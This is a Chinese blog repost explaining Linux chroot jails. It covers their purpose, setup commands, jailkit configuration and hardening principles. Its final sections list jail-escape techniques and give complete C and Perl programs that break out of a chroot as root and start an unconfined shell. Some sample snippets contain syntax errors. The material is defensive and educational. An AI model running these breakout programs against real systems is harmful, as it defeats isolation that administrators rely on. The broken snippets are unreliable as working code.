您的位置:首页 > 大数据 > 人工智能

Chroot相关

2015-11-25 19:48 435 查看

Chroot相关

一:定义

chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以 `/`,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为 `/` 位置。

二:背景

以前,Unix/Linux上的daemon都是以root权限启动的。当时,这似乎是一件理所当然的事情,因为像Apache这样的服务器软件需要绑定到"众所周知"的端口上(小于1024)来监听HTTP请求,而root是惟一有这种权限的用户。

但是,随着攻击者活动的日益频繁,尤其是缓冲区溢出漏洞数量的激增,使服务器安全受到了更大的威胁。一旦某个网络服务存在漏洞,攻击者就能够访问并控制整个系统。因此,为了减缓这种攻击所带来的负面影响,现在服务器软件通常设计为以root权限启动,然后服务器进程自行放弃root,再以某个低权限的系统账号来运行进程。这种方式的好处在于一旦该服务被攻击者利用漏洞入侵,由于进程权限很低,攻击者得到的访问权限又是基于这个较低权限的,对系统造成的危害比以前减轻了许多。

有些攻击者会试图找到系统其它的漏洞来提升权限,直至达到root。由于本地安全性远低于远程安全保护,因此攻击者很有可能在系统中找到可以提升权限的东西。即使没有找到本地漏洞,攻击者也可能会造成其它损害,如删除文件、涂改主页等。

为了进一步提高系统安全性,Linux内核引入了chroot机制。chroot是内核中的一个系统调用,软件可以通过调用库函数chroot,来更改某个进程所能见到的根目录。比如,Apache软件安装在/usr/local/httpd/目录下,以root用户(或具有相同权限的其它账号)启动Apache,这个root权限的父进程会派生数个以nobody权限运行的子进程,具体情况取决于个人设置。父进程监听请求自80端口的tcp数据流,然后根据内部算法将这个请求分配给某个子进程来处理。这时Apache子进程所处的目录继承自父进程,即/usr/local/httpd/。但是,一旦目录权限设定失误,被攻击的Apache子进程可以访问/usr/local、/usr、/tmp,甚至整个文件系统,因为Apache进程所处的根目录仍是整个文件系统的根。如果能够利用chroot将Apache限制在/usr/local/httpd/,那么,Apache所能存取的文件都是/usr/local/httpd/下的文件或其子目录下的文件。创建chroot"监牢"的作用就是将进程权限限制在文件系统目录树中的某一子树中。

三:作用

在经过 chroot 之后,系统读取到的目录和文件将不在是旧系统根下的而是新根下(即被指定的新的位置)的目录结构和文件,如果一个进程/命令运行在一个不能访问外部根目录文件的已修改环境中,这种修改环境通常被称为"监禁目录"(jail)或是"chroot 监禁",只有特权进程和根用户才能使用 chroot 命令,它带来的好处大致有以下几个:

1.增加了系统的安全性,限制了用户的权力

在经过 chroot 之后,在新根下将访问不到旧系统的根目录结构和文件,这样就增强了系统的安全性,这个一般是在登录 (login) 前使用 chroot,以此达到用户不能访问一些特定的文件。

2.建立一个与原系统隔离的系统目录结构,方便用户的开发测试

使用 chroot 后,系统读取的是新根下的目录和文件,这是一个与原系统根下文件不相关的目录结构,在这个新的环境中,可以用来测试软件的静态编译以及一些与系统不相关的独立开发。

3.切换系统的根目录位置,引导 Linux 系统启动以及急救系统等。

chroot 的作用就是切换系统的根位置,而这个作用最为明显的是在系统初始引导磁盘的处理过程中使用,从初始 RAM 磁盘 (initrd) 切换系统的根位置并执行真正的 init,另外,当系统出现一些问题时,我们也可以使用 chroot 来切换到一个临时的系统。

4.限制chrooter所能执行的程序,如SetUid,或是会造成Load 的 Compiler等等。 

5.防止chrooter存取某些特定文档,如/etc/passwd。

6.防止入侵者/bin/rm -rf /。

7.将特权分配给无特权的进程,例如 Web 服务或 DNS 服务。

8.不使程序或系统崩溃下,运行旧程序或 ABI 兼容的程序。

9.系统恢复。

10.重新安装引导装载程序,例如 Grub 或 Lilo。

11.密码找回,重置一个已丢失的密码等。

四:原理

使用者无论是从console或是telnet进入,都必须执行/usr/bin/login来决定是否能进入系统,而login所做的动作大致是: 
  (1)打印出login的提示符号,等待使用者输入密码。 
  (2)检查密码是否正确,错误的话回到(1)。 
  (3)正确的话以setuid()来改变身份为login_user。 
  (4)以exec()执行user的shell。 
  因此我们必须先修改/usr/bin/login的source code,让login在(2)到(3)的中间执行chroot($CHROOT_PATH)的动作,已达到CHROOT的目的,并以修改过的login替代原先的/usr/bin/login。 
  (5)稍微好一点的方法必须在做chroot()之前检查login user的group,如果有某个特定的group(如chrootgrp)才执行chroot(),不然所有的人都会被chroot了。

五:实例

5.1 语法

#chroot new_root [command...]

#chroot option

5.2 环境配置

由于在经过 chroot 之后,系统读取到的 bin/ 等与系统相关目录将不再是旧系统根目录下的,而是切换后新根下的目录结构和文件,因此我们有必要准备一些目录结构以及必要的文件。

1.设置好监狱路径及子目录

#J=$HOME/jail

#mkdir -p $J

#mkdir -p $J{etc,sbin,usr/lib,/usr/bin,usr/sbin,home,bin,lib64,lib}

#cd $J

2.拷贝可执行文件

#cp -v /bin/{bash,ls} $J/bin

3.拷贝库文件

#list=”$(ldd /bin/{ls,bash} | egrep -o ‘/lib.*.\.[0-9]’) ”

#for i in $list:do cp -v “$i” “${J}${i}”; done

5.3使用

#chroot $J /bin/bash

改变了根目录的 bash 和 ls 程序现在被监禁在$HOME/$J这个特殊目录中,而且不能再访问外部的目录树,这个目录可以看做是它们的"/"(root)目录。如果配置正确的话,这会极大增强安全性。

5.4 退出

#exit

六:编写一个chroot

chroot 的编写涉及了2个函数,chroot() 以及 chdir(),它们都包含在 unistd.h 头文件中。chroot() 将切换参数 path 所指位置为根目录 (/),chdir() 用来将当前的工作目录改变成以参数path 所指的目录。

以此我们可以编写一个非常粗略的 `chroot`。

#include <unistd.h>

Int main(int argc, char* argv[])

{

Chroot(“.”);

Chdir(“/”);

Char *arrays[] = {“bash”,NULL};

Execvp(“bash”,arrays);

Return 0;
}

这个粗略的 `chroot` 仅能切换当前位置为根目录,同时默认执行 bash shell,不包含任何的错误处理及警告。

七:相关安全问题

7.1 Username/Password Resolve的考虑: 
   在CHROOT时你可能不希望被CHROOT的使用者(以后简 称CHROOTer)能拿到/etc/passwd或是/etc/shadow等檔 
案,尤其是有root密码的。以下有三种情形: 
(1)/etc/passwd跟 $CHROOT/etc/passwd相同: 
   这是最差的作法,因为一来被CHROOTer有机会得到root的encrypted password,二来要保持/etc/passwd及 
$CHROOT/etc/passwd的同步性是个大问题。因为 /usr/bin/login参考的是/etc/passwd,可是一旦 CHROOTer被chroot后执行passwd时,他所执行的 passwd所更改的将是$CHROOT/etc/passwd。 
(2)/etc/passwd跟$CHROOT/etc/passwd不同: 
   你可以把$CHROOT/etc/passwd中的重要人物(如root)的密码拿掉,然后以比较复杂的方法修改/usr/bin/login: 
   if (has_chroot_group) { 
     re-load $CHROOT/etc/passwd 
     if (password is valid) { 
        chroot($CHROOT) 
        exec(shell) 
     } else logout() 
   } 
   此法的好处是你可以将/etc/passwd跟 $CHROOT/etc/passwd分开来。/etc/passwd只影响 CHROOTer在login时所使用的username,其它如 password甚至uid,gid,shell,home等等都是参考$CHROOT/etc/passwd的。缺点是你其它的daemon如ftpd,httpd都必须做相同的修改才能正确取的CHROOTer的信息,而且你在把一 个user加入或移出chroot_group时都必须更改/etc/passwd跟$CHROOT/etc/passwd。 
(3)使用NIS/YP: 
   此法大概是最简单,且麻烦最少的了。因为一切的userinformation都经过NIS Bind来取得,不但可以保护住root的密码,也省去/etc/passwd跟$CHROOT/etc/passwd同步管理上的问题。不只是passwd,连其它如groups,hosts,services,aliases等等都可以一并解决。  
7.2.执行档的同步性: 
  再更新系统或是更新软件时,必须考虑到一并更换$CHROOT目录下的档案,尤其如SunOS或是BSD等会用nlist()来取得Kernel Information的,在更新kernel时必须更新$CHROOT下的kernel。 
7.3./dev的问题: 
  一般而言你必须用local loopback NFS将/dev read-write mount到$CHROOT/dev以使得一般user跟CHROOTer可以互相write以及解决devices同步性的问题。 
7.4./proc的问题: 
  在Linux或是SYSV或是4.4BSD的系统上许多程序会去参考/proc的数据,你必须也将/proc mount到$CHROOT/proc。 
7.5./var的问题: 
  一般而言/var也是用local loopback NFS read-writemount到$CHROOT/var下,以解决spool同步性的问题,否则你可能必须要修改lpd或是sendmail等daemon,不然他们是不知道$CHROOT/var下也有spool的存在。 
7.6.Daemon的问题: 
  你必须修改一些跟使用者相关的Daemon如ftpd,httpd以使这些daemon能找到正确的user home。 
7.7.CHROOT无法解决的安全问题: 
如果不小心或是忘记拿掉SetUid的程序,CHROOTer还是有机会利用SetUid的程序来取得root的权限,不过因为你已经将他CHROOT了,所以所能影响到的只有$CHROOT/目录以下的档案,就算他来个"/bin/rm -rf /" 也不怕了。不过其它root能做的事还是防不了,如利用tcpdump来窃听该localnet中的通讯并取得在该localnet上其它机器的账号密码,reboot机器,更改NIS的数据,更改其它没有被CHROOT的账号的密码藉以取得一般账号(所以root不可加入NIS中)等等。(此时就必须藉由securetty或是login.access或是将wheel group拿出NIS来防止其login as root) 
7.8.已加载内存中的Daemon: 
  对于那些一开机就执行的程序如sendmail,httpd,gopherd,inetd等等,如果这些daemon有hole(如sendmail),那hacker只要破解这些daemon还是可以取得root权限。 
7.9.结论: 
   CHROOT可以增进系统的安全性,限制使用者能做的事,但是CHROOT Is Not Everything,因为还是有其它的漏洞等着hacker来找出来。

八:jailkit

jailkit 是一款能够在一个chroot jail中快速创建受限用户帐户的工具集。它包含了一个安全日志守护进程,shells可以限制用户,开启和设置chroot jail守护进程的工具。

8.1.下载安装

http://olivier.sessink.nl/jailkit/index.html#download下载最新版本的jailkit-2.19.tar.gz.

#tar zxvf jailkit-2.19.tar.gz

#cd jailkit-2.19

#./configure --prefix=/usr/local/jailkit && make && make install

8.2.准备

# to run the jk_socketd daemon, copy the startup script to your init directory, 

# on Debian this is

cp extra/jailkit /etc/init.d/jailkit

chmod a+x /etc/init.d/jailkit

# and create the correct symlinks, on Debian

 #you run

 update-rc.d jailkit defaults

 # and on Red Hat/Fedora systems you run

 chkconfig jailkit on

8.3.配置chroot环境

1.#mkdir /home/sky

2.初始化虚拟的根(chroot)环境:(复制相应的链接库到/home/sky/目录)

#/usr/local/jailkit/sbin/jk_init -v -j /home/sky/ sftp scp ssh /usr/local/jailkit/sbinjk_lsh extendedshell

  其实这一步就是相当于重构一个小的系统,/home/sky就是根目录,然后创建这个子系统所需要相应链接库等相关目录或文件。

3.基础配置完置,接下来就是测试过程,是否满足开始的需求:

1.#useradd -d /home/test test

2.#passwd test

3.#/usr/local/jailkit/sbin/jk_jailuser -j -m -n /home/sky/ -s /bin/bash test

4.#echo "111111" | passwd test --stdin //# 更改密码,方便后面ssh测试.

8.4.测试

  代码如下:

1.#su - test

2.#pwd

/home/test

3.#ll

Bash:ll command not found

4.#ls -l

5.#cd /tmp

  bash: cd: /tmp: No such file or directory

6.#mkdir tmp //# 建立tmp目录,注意这里是/home/test/tmp,

其实对应的系统目录是/home/sky/home/tes1/tmp.不要理解错了。此时远程登录进来就是/home/sky/home/test目录了。

7.到了这里,就有个问题如何限制到使用有限的命令呢?

很简单删除/home/sky/bin/目录下相应的可执行文件即可。

    8.其他

Jailkit的作用不仅仅可以建立一些只能使用特定命令的帐户。从资料上看,Jailkit可以:

限制用户活动范围和权限、搭建安全的SSH多用户环境、辅助建立安全的生产环境

九:越狱

暴露在互联网上的系统要将坏人隔离在外是一个很大的挑战,而且一直更新最新的安全补丁也不太容易。因此,一些聪明的管理员们尝试采用系统的方法来限制可能发生的入侵,这其中一个绝佳的方法就是使用chroot监狱(jail)。

chroot监狱极大地限制了应用程序可查看的文件系统范围,拥有更少的系统权限,这些都是为了限制应用程序误操作或者被坏人利用从而对系统造成损害。

有一些非常有名的越狱手段,最常用的是在监狱中获取root权限。这种方法用于将程序chroot到了一个子目录,但是却将当前目录留在监狱外面。我们会为各种逃脱手段添加更多地注释--也就意味着会更多地介绍什么是必须被保护的,而不是教你如何越狱。

使用mknod来创建原始磁盘设备,从而可以让你更加随心所欲地操作系统

使用mknod来创建/dev/mem,修改核心内存

寻找一个无意留下的通向监狱外面的硬链接(尽管软链接不能从监狱逃脱,但硬链接可以)

使用ptrace来跟踪在监狱外面的进程。我们能够修改这个程序让它为我们做一些坏事情。

几乎所有的越狱手段都需要root权限。

9.1 chroot通用原则

下面的介绍没有先后顺序,也没有站点会用到所有的原则。特别是有一些是应用在源代码层面的,另外一些是给系统管理员用来监禁现有系统的。很多原则可能用起来非常琐碎,因为一个可用的系统有那么多层面可以来加固,但是我们仍然会列举所有能想到的来供你选择。最根本的一个原则是:“有的放矢,对症下药”。我们通常最可能担心远程缓存溢出(remote buffer overflows), 这会让坏人完全地控制CPU:我们所有的步骤都是为了万一发生这种情况如何限制破坏。

在监狱中使用非root用户来运行程序

chroot监狱并非牢不可破的,但并不容易,这需要在监狱中获取root权限,因此我们必须采取措施来降低这种可能性。在监狱中使用非root用户来运行程序,这是我们所知最安全的方法。可能使用root用户启动某些守护进程从而进行一些需要相应权限的操作是必要的(比如说绑定某些序号较小的端口),但是这些程序在完成工作之后必须“放弃”root权限。

我们相信这是正确设置监狱最重要的一个因素。

正确地“放弃”权限

我们看到有时候在一些操作系统上,一个程序通过使用“saved"uid能够在非root用户和root用户间来回切换,这会被获取root权限的坏人所利用。如果考虑到操作系统的差别,如何正确地设置非常棘手:变数在于setresuid() seteuid(), setreuid(), and setuid()--而且这好像还不算完。如何正确选择取决于你的操作系统。

在这一点上目前最好的资源是Usenix 2002的一篇杰出论文Setuid Demystified, 作者是Hao Chen, David Wagner和Drew Dean: 它切中要害,读者可以参考5.2节“Comparison among Uid-setting System Calls”。

明确地chdir到监狱中

chroot命令本身并不会改变工作目录,因此如果新的根目录在当前目录下的话,应用程序仍然可以访问到外面的资源。

在运行chroot之前应用程序应该明确的切换到监狱里的一个目录中:

监狱越小越好

这增强了一些不易发现的弱点的抵抗力。通常这要求开发者在进行chroot之前做一下未被监禁文件的预加载(后面我们会更详细地介绍)。但是可能的话我们要非常无情地从监狱中删除内容。

限制未监禁程序运行被监禁程序

对于有些没有chroot命令行的系统来说,唯一的选择是包装一个程序来进行关键的chroot操作,放弃root权限,然后执行被监禁的可执行文件。这个包装程序必须以root用户执行,但是包装程序自身一定不能放在监狱中。否则入侵者能够破解这个包装程序,在下次系统启动时,入侵者的程序就能够在非监禁的环境中以root用户来运行了。这就是被完全攻陷了。

让root拥有尽可能多的监禁文件

这限制了当被入侵时,侵入者修改系统的可能。我们的感觉被侵入最有可能的原因是入侵者在环境中执行任意代码从而导致缓存溢出,对于那些监禁系统中从来不需要写的文件来说,让它们只读而且属主是root,这意味着侵入后不可能chmod文件属性,也就不能修改文件。这条规则同样适用于目录。

尽量在守护进程里做chroot操作

而不是显示地调用chroot命令(这种方式需要修改代码)。内部实现chroot的守护进程通常能够将可执行文件隔离在监狱之外。这种方式一个很大的优势在于入侵者无法直接感染二进制文件。

但是更立竿见影的好处在于共享库和其他启动文件可以从宿主系统中直接加载,而不必放到监狱中去。这不仅使系统更加安全--更少的对外暴露--而且让设置更加容易。很多情况下,即使配置文件能够在监狱外被加载,但是如果守护进程包含了任何形式的“重读配置”选项的话,这种方式通常就不可行了。

预加载动态加载对象

对于在程序中使用了chroot的开发者来说,要考虑到需要访问宿主系统资源的操作并在关闭监狱大门之前完成操作。这些步骤最初并不太明显,需要一个试错的过程,但是我们已经找到几个这样的例子。

很多系统在运行时加载命名解析程序,这些程序并不在可执行程序绑定的共享对象中。我们发现在关闭监狱大门前一个简单的gethostbyname调用能够加载所有需要的库文件,因此后面的命名服务请求能够被正确处理:

避免使用监禁环境中的/etc/passwd文件

特别是用来决定守护进程的运行时用户ID的用户名到UID的映射。这个映射包括扫描passwd文件中特定的名字(比如,named)然后找到关联的用户ID。如果有人想方设法侵入了监禁环境的passwd文件,就有可能将当前用户的UID改为0,也就是root。这在守护进程下次重启后生效。坏人最初并不能侵入这个文件,因为当前用户不能进行写操作,但是如果这个守护进程不管如何得到了一个可写的文件描述符,缓存溢出就可能被用来修改这个文件:我们相信已经多次遇到这种情况了。这很常见,在系统某处的一个bug能够对整个系统的安全造成难以置信的影响。

在chroot之前切记关闭文件描述符

我们不想给打开非监禁资源留下句柄,因为这些都能够被监狱内的资源所利用。一些文件描述符是必须的(比如,syslog daemon),但是开发者应该牢记关闭任何非必需的资源。

从外面链接配置文件

一些系统(比如BIND)在监禁的守护进程和其他在用户模式运行的工具共享配置文件。这种情况下,因为守护进程要访问配置文件,当然要将它放到监狱内,但是在用户模式下的其他工具也需要访问这个文件。不要重新构建这些工具来从特殊路径(比如/chroot/named/etc/named.conf)读取配置,而是应该在正常的地方建立一个从外面到里面的符号链接文件:

# ln -s /chroot/named/etc/named.conf /etc/named.conf  

这能够让大多数工具正常运行,但是要小心的是记住修改/etc/named.conf也会影响到监狱中的文件。

这没有什么副作用,尽管开始看起来不太明显。从内向外的符号链接对管理员有用,但是对监狱内的系统却没有用。

更新环境变量来体现新的根目录

在监狱中需要更新一些环境变量来反应新的监狱内观。特别的,很多shell使用$PWD变量来表示当前工作目录,使用getcwd(3)库函数查询这个变量。在成功chroot之后调用putenv("PWD=/")用新目录来来同步这个变量。其他环境变量可能需要被修改(或删除),这取决于非监禁环境的环境泄露会对监禁环境造成多大的影响。

 

9.2 越狱的c方法

This page details how the chroot() system call can be used to provide an additional layer of security when running untrusted programs. It also details how this additional layer of security can be circumvented.

chroot() is a Unix system call that is often used to provide an additional layer of security when untrusted programs are run. The kernel on Unix varients which support chroot() maintain a note of the root directory each process on the system has. Generally this is "/", but the chroot() system call can change this. When chroot() is successfully called, the calling process has its idea of the root directory changed to the directory given as the argument to chroot(). For example after the following line of code, the process would see the directory "/foo/bar" as its root directory.

chdir("/foo/bar");

chroot("/foo/bar");

Important:

When using chroot() in anger you need more than the above code; see below for details.

Note the use of the chdir() call before the chroot() call. This is to ensure that the working directory of the process is within the chroot()ed area before the chroot() call takes place. This is due to most implementations of chroot() not changing the working directory of the process to within the directory the process is now chroot()ed in.

This means that after the chroot() call, an open("/",O_RDONLY) would open the same directory as an open("/foo/bar",O_RDONLY) call before the chroot().

Due to the change in the root directory, the area which a chroot()ed program lives in will require various files and programs for sane operation. For example, the following files are required for the sane operation of the basic shell interpreter sh within a chroot()ed environment.

File

Usage

/bin/sh

The binary for sh

/usr/ld.so.1

Dynamically link in the shared object libraries

/dev/zero

Ensuring that the pages of memory used by shared objects are clear

/usr/lib/libc.so.1

The general C library

/usr/lib/libdl.so.1

The dynamic linking access library

/usr/lib/libw.so.1

Internationalisation library

/usr/lib/libintl.so.1

Internationalisation library

/usr/platform/SUNW,Ultra-1/lib/libc_psr.so.1

"Processor Specific Runtime" - contains replacements for certain library functions (i.e. memcpy) hand coded in faster assembly.

It should be noted that the more complex and larger a program gets, the more support files it will use. For example, perl requires a very large number of files and directories to work within a chroot()ed environment - 2610 files and 192 directories for a reasonable installation.

 

Whilst chroot() is reasonably secure, a program can escape from its trap. So long as a program is run with root (ie UID 0) privilages it can be used to break out of a chroot()ed area. For a user to do this, they would need access to:

C compiler or a Perl interpreter

Security holes to gain root access

It should be noted that this document was written with protecting web servers from rogue CGI scripts in mind. Therefore it is not unreasonable to assume that a user has access to a Perl interpreter. It is then a matter for the user to gain root access via security holes on the box running the web server. Whilst this is outside the topic of the document, an attacker could make use of application programs which are setuid-root and have security holes within them. In a well maintained chroot() area such programs should not exist. However, it should be noted that maintaining achroot()ed environment is a non-trival task, for example system patches which fix such security holes will not know about the copies of the programs within the chroot()ed area. Ensuring that there are no setuid-root executables within the padded cell is going to be a must.

To break out of a chroot()ed area, a program should do the following:

Create a temporary directory in its current working directory

Open the current working directory

Note: only required if chroot() changes the calling program's working directory.

Change the root directory of the process to the temporary directory using chroot().

Use fchdir() with the file descriptor of the opened directory to move the current working directory outside the chroot()ed area.

Note: only required if chroot() changes the calling program's working directory.

Perform chdir("..") calls many times to move the current working directory into the real root directory.

Change the root directory of the process to the current working directory, the real root directory, using chroot(".")

Once the above has been done, the program can run functions as required. A natural function would be to exec() a command interpreter like sh over the current program. The following C program is an example of the attack outlined above. A Perl version is possible, although it is not shown below.

The following code is known to work under Solaris and Linux. It is likely to work under most (if not all) Unix varients which have the chroot() system call thanks to how it works[1].

#include <stdio.h>  

#include <errno.h>  

#include <fcntl.h>  

#include <string.h>  

#include <unistd.h>  

#include <sys/stat.h>  

#include <sys/types.h>  

  

/*  

** You should set NEED_FCHDIR to 1 if the chroot() on your  

** system changes the working directory of the calling  

** process to the same directory as the process was chroot()ed  

** to.  

**  

** It is known that you do not need to set this value if you  

** running on Solaris 2.7 and below.  

**  

*/  

#define NEED_FCHDIR 0  

  

#define TEMP_DIR "waterbuffalo"  

  

/* Break out of a chroot() environment in C */  

  

int main() {  

 int x;            /* Used to move up a directory tree */  

 int done=0;       /* Are we done yet ? */  

#ifdef NEED_FCHDIR  

 int dir_fd;       /* File descriptor to directory */  

#endif  

 struct stat sbuf; /* The stat() buffer */  

  

/*  

** First we create the temporary directory if it doesn't exist  

*/  

 if (stat(TEMP_DIR,&sbuf)<0) {  

   if (errno==ENOENT) {  

     if (mkdir(TEMP_DIR,0755)<0) {  

       fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,  

               strerror(errno));  

       exit(1);  

     }  

   } else {  

     fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,  

             strerror(errno));  

     exit(1);  

   }  

 } else if (!S_ISDIR(sbuf.st_mode)) {  

   fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);  

   exit(1);  

 }  

  

#ifdef NEED_FCHDIR  

/*  

** Now we open the current working directory  

**  

** Note: Only required if chroot() changes the calling program's  

**       working directory to the directory given to chroot().  

**  

*/  

 if ((dir_fd=open(".",O_RDONLY))<0) {  

   fprintf(stderr,"Failed to open "." for reading - %s\n",  

           strerror(errno));  

   exit(1);  

 }  

#endif  

  

/*  

** Next we chroot() to the temporary directory  

*/  

 if (chroot(TEMP_DIR)<0) {  

   fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,  

           strerror(errno));  

   exit(1);  

 }  

  

#ifdef NEED_FCHDIR  

/*  

** Partially break out of the chroot by doing an fchdir()  

**  

** This only partially breaks out of the chroot() since whilst  

** our current working directory is outside of the chroot() jail,  

** our root directory is still within it. Thus anything which refers  

** to "/" will refer to files under the chroot() point.  

**  

** Note: Only required if chroot() changes the calling program's  

**       working directory to the directory given to chroot().  

**  

*/  

 if (fchdir(dir_fd)<0) {  

   fprintf(stderr,"Failed to fchdir - %s\n",  

           strerror(errno));  

   exit(1);  

 }  

 close(dir_fd);  

#endif  

  

/*  

** Completely break out of the chroot by recursing up the directory  

** tree and doing a chroot to the current working directory (which will  

** be the real "/" at that point). We just do a chdir("..") lots of  

** times (1024 times for luck :). If we hit the real root directory before  

** we have finished the loop below it doesn't matter as .. in the root  

** directory is the same as . in the root.  

**  

** We do the final break out by doing a chroot(".") which sets the root  

** directory to the current working directory - at this point the real  

** root directory.  

*/  

 for(x=0;x<1024;x++) {  

   chdir("..");  

 }  

 chroot(".");  

  

/*  

** We're finally out - so exec a shell in interactive mode  

*/  

 if (execl("/bin/sh","-i",NULL)<0) {  

   fprintf(stderr,"Failed to exec - %s\n",strerror(errno));  

   exit(1);  

 }  

}  

This topic has been discussed on the security column of SunWorld Online which is written by Carole Fennelly; the August 1999 and January 1999 editions cover most of the chroot() topics. In the August 1999 edition Carole goes into how to prevent the attack above from working - the method is a nasty hack involving fsdb (the file system debugger) and a temporary file system[2]. Basically the method involves fixing the ".." link at the root of the temporary file system so that it points to the root of the file system in much the same way that ".." at the root directory does.

It should be noted that the attack above is quite well known. The fact that it was possible[3] was alleuded to in "An evening with Berferd"[4] An exploit[5] against the wu-ftpd FTP daemon was also posted to the BugTraq mailing list on 1999-03-25. The post containing the exploit is held within the BugTraq archives - see http://www.securityfocus.com/archive/1/12962 for details.

Finally it should be noted that not all version of Unix are vulnerable to this attack. FreeBSD 4.x and above have a better chroot() system call. It can be made to fail if the process has any file descriptors open on a directory. This works by stopping the attack above which essentially works due to a file handle being open on a directory.

Have a look at the FreeBSD 4.x manual page for chroot() for more details. Also have a look at the manual page for jail() which uses chroot() and can limit a process further under FreeBSD.

A very important aspect of writing secure code is the principle of "least privilage". That is, the code should run as the least powerful user which is able to do the task required.

The call to chroot() is normally used to ensure that code run after it can only access files at or below a given directory. Originally, chroot() was used to test systems software in a safe environment. It is now generally used to lock users into an area of the file system so that they can not look at or affect the important parts of the system they are on. For example, the most common use of chroot() is ensuring that when user of an anonymous FTP site can not view important system configuration files[6]

This normally means that the user will not be running as root. If this is the case the call to chroot() should look something like the following:

chdir("/foo/bar");

chroot("/foo/bar");

setuid(non zero UID);

Where non zero UID is the UID the user should be using. This should be a value other than 0, i.e. not the root user. If this is done there should be no way to gain root privilages unless an attacker uses something within the chroot() jail to gain those privilages.

The seteuid() call should not be used if it can be helped as this does not change the real UID of the process, only its effective UID. It is possible of a process which has a real UID of 0 to do a seteuid(0) to regain root privilages even if its effective UID is not 0 - its the real UID which matters.

There are some cases where it is not easily possible to make use of the setuid() call. In these cases, seteuid() could be looked at. However the developer has to bear in mind that it is a simple hop-skip-seteuid(0) for a process to regain its root privilages and then use the method above to break out of the chroot() jail. The only real reason for making use of the seteuid() call is if the process needs to do something as root on behalf of the user. One example of this is the use of PASV FTP connections as the FTP server will often use ports in the range of 1 to 1024 which requiresroot privilages.

Such situations can be coded around, however they tend to have their own problems as well.

9.3 越狱的Perl方法

I had cause to want to break out of a chroot’d environment recently.  It is well known that if you’re root within the chroot environment you can break out of it.

I set about learning how to break out of chroot and came across an excellent description by Simes from 2002.  It contains a well documented C program that breaks out of the chroot environment.

I wanted to use PERL to break out of the environment, as few chroot environments will contain a C compiler and you may not always be in a position to compile the above program for the OS and Architecture of your jail.

You’re likely to come across chroot environments when testing web servers or FTP servers.  Such services are exposed and therefore could be compromised.  If you comrpomise a chroot’d HTTP or FTP daemon you will only gain access to the limited chroot environment.  You will not be to access the real /etc/passwd for example.  You would only be able to access /some-path-you-dont-even-know-about/etc/passwd.  Your process is trapped inside a directory structure that you can’t break out of.

…unless you’re root.  If you escalate your privileges to root within the jail, it is possible to get out.  Your only obstacle is finding a way to make the “chroot” system call with the tools available to you inside the chroot jail – or uploading your own tools.  Your options include:

Compiling a program such as this on the target host – but you probably don’t have a C compiler in the chroot jail.

Uploading a precompiled chroot-escaper – if you have one for the target OS/architecture.

Using an installed scripting language (PERL, PHP, Python) – if there’s one installed

Overview of Breaking out of Chroot

The C program referenced about uses this technique:

Open a file handle to the root of the jail

Create a sub directory in the jail and chroot yourself there (you are root, so you are allowed to chroot).  You’re now even deeper in the jail.

Change directory using the file handle to the root of the old jail.  You’re now outside of the chroot jail you created in the sub directory.  You’re free!  Well, kind of.  Actually all locations starting with ‘/’ are still mapped to that sub directory.  You don’t want this.

cd ..; cd ..; …until you reach the real root.

Chroot yourself in the real root.  Now you’re properly free.

The PERL Script

Here’s a simple PERL implementation.  It seems to work on Linux:

#!/usr/bin/perl -w

use strict;

# unchroot.pl Dec 2007

# http://pentestmonkey.net/blog/chroot-breakout-perl

 

# This script may be used for legal purposes only.

 

# Go to the root of the jail

chdir "/";

 

# Open filehandle to root of jail

opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn";

 

# Create a subdir, move into it

mkdir "mysubdir";

chdir "mysubdir";

 

# Lock ourselves in a new jail

chroot ".";

 

# Use our filehandle to get back to the root of the old jail

chdir(*JAILROOT);

 

# Get to the real root

while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {

        chdir "..";

}

 

# Lock ourselves in real root - so we're not really in a jail at all now

chroot ".";

 

# Start an un-jailed shell

system("/bin/sh");

So is this a Vulnerability?

To be clear, this is NOT a vulnerability. The root user is supposed to be able to change the root directory for the current process and for child processes. Chroot only jails non-root processes. Wikipedia clearly summarises the limitations of chroot.

Feedback

Thanks to timb for the suggestion to change this:

foreach my $count (1..100) {

        chdir "..";

}

To this (which checks if ‘.’ and ‘..’ are the same thing):

while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {

        chdir "..";

}

 

 

 

 

 

 

 

 

 

 
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  chroot jailkit